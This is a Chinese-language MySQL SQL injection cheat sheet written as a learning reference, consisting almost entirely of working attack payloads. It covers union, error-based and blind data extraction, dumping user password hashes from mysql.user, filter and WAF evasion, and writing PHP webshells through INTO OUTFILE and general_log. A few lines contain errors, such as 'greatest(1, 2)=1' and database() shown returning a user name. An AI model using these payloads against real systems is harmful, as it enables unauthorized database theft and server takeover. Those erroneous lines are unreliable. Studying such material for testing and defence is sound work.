SQL 注入~MySQL专题

Recently，

团队在做一个关于SQL的项目，这个专题是项目中的一部分，该部分正是由我来负责的。今天，分享给正在奋斗中的伙伴们，愿，你们在以后的学习道路中能有自己的收获。

神奇的MySQL

SQl注入漏洞产生的原因

程序编写者在处理应用程序和数据库交互时，使用字符串拼接的方式构造SQL语句。
未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL查询语句中。

SQl注入分类

联合查询注入
基于布尔的盲注
基于时间的盲注
基于报错的盲注
堆查询注入

MySQL

子字串：
- substr("abc",1,1) => 'a'
- mid("abc", 1, 1) => 'a'
- substring("abc",1,1) => 'a'
Ascii function
- ascii('A') => 65
Char function
- char(65) => 'a'
Concatenation
- CONCAT('a', 'b') => 'ab'
  - 如果任何一个为NULL，則返回NULL
- CONCAT_WS(分隔符, 字串1, 字串2...)
  - CONCAT_WS('@', 'gg', 'inin') => gg@inin
Cast function
- CAST('125e342.83' AS signed) => 125
- CONVERT('23',SIGNED) => 23
Delay function
- sleep(5)
- BENCHMARK(count, expr)
空白字符
- 09 0A 0B 0C 0D A0 20
File-read function
- LOAD_FILE('/etc/passwd')
File-write
- INTO DUMPFILE
  - 通用binary (写入同一行)
- INTO OUTFILE
  - 通用一般文本 (有换行)
- 写webshell
  - 需知道可写路径
  - UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 权限
  - SELECT file_priv FROM mysql.user
- secure-file-priv
  - 限制MySQL导入导出
    - load_file, into outfile等
  - 运行时无法更改
  - MySQL 5.5.53前，该值预设为空(可以导入导出)
  - e.g. secure_file_priv=E:\
    - 限制导入导出只能在E:\下
  - e.g. secure_file_priv=null
    - 限制不允许导入导出
  - secure-file-priv限制下用general_log拿shell
- SET global general_log='on';
- SET global general_log_file='C:/phpStudy/WWW/cmd.php';
- SELECT '<?php assert($_POST["cmd"]);?>';
IF语句
- IF(condition,true-part,false-part)
- SELECT IF (1=1,'true','false') true
Hex
- SELECT X'5061756c'; => paul
- SELECT 0x5061756c; => paul
- SELECT 0x5061756c+0 => 1348564332
- SELECT load_file(0x2F6574632F706173737764);
  - /etc/passwd
- 可绕过一些WAF
  - e.g. 用在不能使用单引号时(' => \')
  - CHAR()也可以达到类似效果
    - 'admin' => CHAR(97, 100, 109, 105, 110)
注释：
- #
- --
- /**/
  - 一个*/可以闭合前面多个/*
- /*! 50001 select * from test */
  - 可探测版本
  - e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
- `
  - MySQL <= 5.5
- ;
  - PDO支持多语句
information_schema
- mysql >= 5.0
Stacking Query
- 预设PHP+MySQL不支持Stacking Query
- 但PDO可以Stacking Query
Others：
- @@version
  - 同version()
- user()
  - current_user
  - current_user()
  - current user
- system_user()
  - database system user
- database()
  - schema()
  - current database
- @@basedir
  - MySQL安装路径
- @@datadir
  - Location of db file
- @@hostname
- @@version_compile_os
  - Operating System
- @@innodb_version
- MD5()
- SHA1()
- COMPRESS() / UNCOMPRESS()
- group_concat()
  - 合并多条结果
    - e.g. select group_concat(username) from users; 一次返回所有使用者名
- greatest()
  - greatest(a, b)返回a, b中最大的
  - greatest(1, 2)=2
  - greatest(1, 2)=1
- between a and b
  - 介于a到b之间
  - greatest(1, 2) between 1 and 3
- regexp
  - SELECT 'abc' regexp '.*'
- Collation
  - *_ci case insensitive collation 不区分大小写
  - *_cs case sensitive collation 区分大小写
  - *_bin binary case sensitive collation 区分大小写
- 逻辑运算优先级

SQL 注入~MySQL专题

Union Based
- 判断column数
  - union select 1,2,3...N
  - order by N 找最后一个成功的N
- 测试
  - or 1=1--+
  - ' or 1=1--+
  - " or 1=1--+
  - ) or 1=1--+
  - ')or 1=1--+
  - ")or 1=1--+
  - "))or 1=1--+
  - and 1=1--+
  - and 1=2--+
  - 'and 1=1--+
  - 'and 1=2--+
  - "and 1=1--+
  - "and 1=2--+
- AND 1=2 UNION SELECT 1, 2, password FROM admin--+
- LIMIT N, M 跳过前N行，抓取M行
- 爆数据库名
  - union select 1,2,schema_name from information_schema.schemata limit 1,1
  - union select 1,2,group_concat(schema_name) from information_schema.schemata
- 爆表名
  - union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
  - union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mydb'
  - union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
- 爆Column名
  - union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
  - union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='mydb'
- MySQL User
  - SELECT CONCAT(user, ":" ,password) FROM mysql.user;
Error Based
- 长度限制
  - 错误信息有长度限制
  - #define ERRMSGSIZE (512)
- Overflow
  - MySQL > 5.5.5 overflow才会有错误信息
  - SELECT ~0 => 18446744073709551615
  - SELECT ~0 + 1 => ERROR
  - SELECT exp(709) => 8.218407461554972e307
  - SELECT exp(710) => ERROR
  - 若查询成功，则返回0
    - SELECT exp(~(SELECT * FROM (SELECT user())x));
    - ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
  - select (select(!x-~0)from(select(select user())x)a);
    - ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
    - MySQL > 5.5.53 不会显示查询结果
- xpath
  - extractvalue (有长度限制，32位)
    - select extractvalue(1,concat(0x7e,(select @@version),0x7e));
      - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
    - select extractvalue(1,concat(0x7e,(select database()),0x7e));
      - ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    - AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
    - AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
    - AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
    - AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
    - AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
  - updatexml (有长度限制，32位)
    - select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
      - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
    - select updatexml(1,concat(0x7e,(select database()),0x7e),1);
      - ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    - AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)--
    - AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
    - AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
    - AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
    - AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
  - 主键重复
    - select count(*) from test group by concat(version(),floor(rand(0)*2));
      - ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
  - 其它函数（5.7）
    - select ST_PointFromGeoHash(version(),1);
    - select GTID_SUBTRACT(version(),1);
    - select GTID_SUBSET(version(),1);
    - select ST_LongFromGeoHash(version());
    - select ST_LatFromGeoHash(version());
- 其余error
  - 未知表名报错
    - Select count(*) from aa
    - Table 'database().aa' doesn't exist
  - GeometryCollection()
  - id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
  - polygon()
  - id =1 AND polygon((select * from(select * from(select user())a)b))
  - multipoint()
  - id = 1 AND multipoint((select * from(select * from(select user())a)b))
  - multilinestring()
  - id = 1 AND multilinestring((select * from(select * from(select user())a)b))
  - linestring()
  - id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
  - multipolygon()
  - id =1 AND multipolygon((select * from(select * from(select user())a)b))
爆库名、表名、字段名
- 当过滤information_schema等关键字时，可以用下面方法爆库名
  - select 1,2,3 from users where 1=abc();
    - ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
- 爆表名
  - select 1,2,3 from users where Polygon(id);
  - select 1,2,3 from users where linestring(id);
    - ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
- 爆Column
  - select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
    - ERROR 1060 (42S21): Duplicate column name 'id'
  - select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
    - ERROR 1060 (42S21): Duplicate column name 'username'
Blind Based (Time/Boolean)
- Boolean
  - True || False
  - id=87 and length(user())>0
  - id=87 and length(user())>100
  - id=87 and ascii(substr(user(),1,1))>100
  - id=87 and ascii(mid(user(),1,1))>100
  - id=87 and ord(substr(user(),1,1))>100
  - id=87 and ord(mid(user(),1,1))>100
  - id=87 or ((select user()) regexp binary '^[a-z]')
- Time
  - 用在什么结果都看不到时
  - Sleep()
    - id=87 and if(length(user())>0, sleep(10), 1)=1
      - id=87 and if(length(user())>100, sleep(10), 1)=1
      - id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
  - benchmark()
    - If(ascii(substr(database(),1,1))>115,0, benchmark(100000,MD5('admin')))%23
绕过空白检查
- id=-1/**/UNION/**/SELECT/**/1,2,3
- id=-1%09UNION%0DSELECT%0A1,2,3
- id=(-1)UNION(SELECT(1),2,3)
宽字符注入
- addslashes()会让'变\'
- 在GBK编码中，中文字用两个Bytes表示
  - 其他多字符编码也可
  - 但要低位范围有包含0x5c(\)
- 第一个Byte要>128才是中文
- %df' => %df\' => 运' (成功逃逸)
Order by注入
- 可以通过asc、desc简单判断
  - ?sort=1 asc
  - ?sort=1 desc
- 后面不能接UNION
- 已知字段名 (可以盲注)
  - ?order=IF(1=1, username, password)
- 利用报错
  - ?order=IF(1=1,1,(select 1 union select 2)) TRUE
  - ?order=IF(1=2,1,(select 1 union select 2)) ERROR
  - ?order=IF(1=1,1,(select 1 from information_schema.tables)) TRUE
  - ?order=IF(1=2,1,(select 1 from information_schema.tables)) ERROR
- Time Based
  - ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 0 TRUE
  - ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
group by with rollup
- ' or 1=1 group by pwd with rollup limit 1 offset 2#
将字串换成纯数字
- 字串 -> 16进位 -> 10进位
- conv(hex(YOUR_DATA), 16, 10)
- 还原：unhex(conv(DEC_DATA,10,16))
- 需注意不要Overflow
不使用逗号
- LIMIT N, M => LIMIT M OFFSET N
- mid(user(), 1, 1) => mid(user() from 1 for 1)
- UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
快速查找带关键字的表
- select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
innodb
- 表引擎为innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有库名表名
- select table_name from mysql.innodb_table_stats where database_name=库名;
Bypass WAF
- 大小写绕过
  - select password => SelEcT password
- 替换大小写绕过WAF
  - ？id=998 UNIunionON SEselectLECt 1,2,3,4,5,6 =>
    - ？id=998 UNION SELECt 1,2,3,4,5,6
- 运用编码技术绕过
  - 如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，或者CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
- 空白绕过
  - select password => select/**/password
  - select password => select(password)
  - select password => s%65lect%20password (URLencode)
  - select password => select%0apassword (URLencode)
    - %09, %0a, %0b, %0c, %0d, %a0
  - select password from admin => select password /*!from*/admin (MySQL注解)
  - information_schema.schemata => `information_schema`.schemata (绕关键字/空白)
    - select xxx from`information_schema`.schemata
- 单引号绕过
  - select pass from user where id='admin' => select pass from user where id=0x61646d696e
    - id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
- 逗号绕过
  - substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
  - LIMIT 0,1 => LIMIT 1 OFFSET 0 ()
- 绕关键字
  - WHERE => HAVING
  - AND => &&
    - OR => ||
    - = => LIKE
    - a = 'b' => not a > 'b' and not a < 'b'
    - > 10 => not between 0 and 10
- case when特性
  - 实现多次不同的查询 id=case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end
    - select case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end;
      - 第一次查询结果：id=2
      - 第二次查询结果：id=1
- ?id=0e2union select 1,2,3 (科学计数法)
- ?id=.1union select 1,2,3 (点)

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SQL 注入~MySQL专题

神奇的MySQL

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